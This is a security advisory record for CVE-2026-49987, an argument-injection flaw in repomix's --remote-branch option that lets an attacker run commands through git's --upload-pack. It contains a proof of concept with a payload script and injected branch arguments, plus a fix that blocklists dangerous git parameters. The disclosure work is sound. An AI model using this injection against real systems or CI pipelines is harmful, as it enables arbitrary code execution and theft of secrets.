{"id":"CVE-2026-49987","title":"repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection","summary":"repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection","severity":"high","cvss":8.8,"cwe":["CWE-88"],"vendor":"repomix","product":"repomix","ecosystem":"npm","affected":["repomix < 1.14.1"],"patched":["repomix 1.14.1"],"published":"2026-07-01","updated":"2026-07-01","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-9mm9-rqhj-j5mx","references":[{"url":"https://github.com/yamadashy/repomix/security/advisories/GHSA-9mm9-rqhj-j5mx"},{"url":"https://github.com/advisories/GHSA-9mm9-rqhj-j5mx"}],"tags":["ghsa","npm"],"ingestedAt":"2026-07-01T19:15:59.902Z","epss":0.00539,"epssPercentile":0.44301,"slug":"CVE-2026-49987","body":"## Overview\n\n### Vulnerability Metadata\n\n| Field | Detail |\n| --- | --- |\n| **Affected Component** | `src/core/git/gitCommand.ts` (`execGitShallowClone`) |\n| **Impact** | Arbitrary Command Execution / Security Control Bypass |\n\n### Summary\n\nThe `--remote-branch` CLI option in `repomix` is vulnerable to argument injection. User-supplied input is passed directly to `git fetch` and `git checkout` subprocesses via `child_process.execFileAsync` without sanitization, `--` delimiters, or validation.\n\nAn attacker can inject arbitrary git command-line options. By injecting the `--upload-pack` option and specifying an SSH (`git@...`) or local (`file://`) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running `repomix`. This bypasses the existing `dangerousParams` blocklist implemented in `validateGitUrl()`.\n\n### Vulnerable Code Analysis\n\n**File:** `src/core/git/gitCommand.ts`\n\nThe `remoteBranch` parameter is appended directly to the arguments array for git subprocesses without the `--` positional delimiter.\n\n**Sink 1 (Lines 118-127):**\n\n```typescript\nawait deps.execFileAsync(\n  'git',\n  ['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch], // Vulnerable\n  gitRemoteOpts,\n);\n\n```\n\n**Sink 2 (Lines 148-151):**\n\n```typescript\nawait deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]); // Vulnerable\n\n```\n\n**Bypassed Security Control (Lines 192-197):**\nThe application attempts to prevent this exact vulnerability class by blocking dangerous parameters (`--upload-pack`, `--receive-pack`, `--config`, `--exec`) within the `validateGitUrl` function. However, this validation is exclusively applied to the `url` variable and omitted for `remoteBranch`, creating a direct bypass.\n\n### Attack Flow\n\n```text\n[Source] repomix --remote-branch <injected_option>\n   ↓\nsrc/cli/actions/remoteAction.ts:226 (cloneRepository)\n   ↓\nsrc/core/git/gitCommand.ts:118 (execGitShallowClone)\n   ↓\n[Sink] execFileAsync('git', ['...', 'origin', '--upload-pack=/tmp/payload'])\n   ↓\n[Execution] git invokes the payload binary via transport helper\n\n```\n\n### Proof of Concept (Steps to Reproduce)\n\n**1. Create the Payload**\nCreate an executable bash script that writes system execution context to a file.\n*(Reference: Screenshot_2026-05-18_13_02_16.png)*\n\n```bash\ncat > /tmp/malicious-pack << 'EOF'\n#!/bin/bash\necho \"=== RCE EXECUTED ===\" > /tmp/repomix-pwned.txt\nid >> /tmp/repomix-pwned.txt\nEOF\nchmod +x /tmp/malicious-pack\n\n```\n\n**2. Trigger the Vulnerability**\nEstablish a dummy remote and trigger the fetch operation, injecting the `--upload-pack` argument.\n*(Reference: Screenshot_2026-05-18_13_08_36.png)*\n\n```bash\n# Setup dummy bare remote\ngit init --bare /tmp/dummy-remote.git\n\n# Initialize local repo and add remote\nmkdir /tmp/test-fetch && cd /tmp/test-fetch\ngit init\ngit remote add origin file:///tmp/dummy-remote.git\n\n# Execute vulnerability\ngit fetch --upload-pack=/tmp/malicious-pack origin 2>&1\n\n```\n\n**3. Verify Execution**\nExecution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a `128` exit code.\n\n```bash\ncat /tmp/repomix-pwned.txt\n\n```\n\n*Expected Output:*\n\n```text\n=== RCE EXECUTED ===\nuid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...\n\n```\n\n**End-to-End Execution via Repomix:**\n\n```bash\nrepomix --remote git@github.com:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack'\n\n```\n\n### Impact\n\n* **Remote Code Execution:** Complete system compromise with the privileges of the user executing `repomix`.\n* **CI/CD Compromise:** If `repomix` is utilized in automated pipelines where `--remote-branch` is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.\n\n### Remediation\n\n**1. Implement Positional Delimiters (Primary Fix)**\nAppend the `--` delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing `remoteBranch`.\n\n```typescript\nawait deps.execFileAsync(\n  'git',\n  ['-C', directory, 'fetch', '--depth', '1', 'origin', '--', remoteBranch],\n  gitRemoteOpts,\n);\n\n```\n\n**2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)**\nUpdate `execGitShallowClone` to validate `remoteBranch` against the existing `dangerousParams` array.\n\n```typescript\nconst dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec'];\n\nif (remoteBranch && dangerousParams.some((param) => remoteBranch.includes(param))) {\n  throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);\n}\n\n```\n\n### Attachments \n\n**Screenshot 1:** Payload script created with executable permissions.\n<img width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_02_16\" src=\"https://github.com/user-attachments/assets/a0ada9de-c689-4ed8-9937-dd7faf6e6cc0\" />\n\n\n**Screenshot 2:** Vulnerable Code \n<img width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_03_44\" src=\"https://github.com/user-attachments/assets/b72c7e05-d857-497a-9ae5-0822f86fa032\" />\n\n\n**Screenshot 3:** Verifying RCE.\n<img width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_08_36\" src=\"https://github.com/user-attachments/assets/f153545e-e5e8-4165-ac1a-f84efbb1c135\" />\n\n\n\n\n\n---\n\n### Credits\n\nThis vulnerability was discovered and responsibly disclosed by:\n- **Researcher:** Abhijith S.\n- **GitHub:** [@kakashi-kx](https://github.com/kakashi-kx)\n- **HackerOne/Bugcrowd:** [kakashi4kx](https://hackerone.com/kakashi4kx)\n\n## Affected packages\n\n- `repomix < 1.14.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `repomix 1.14.1`","depth":"twilight","depthScore":49,"depthScoreParts":{"impact":48.4,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}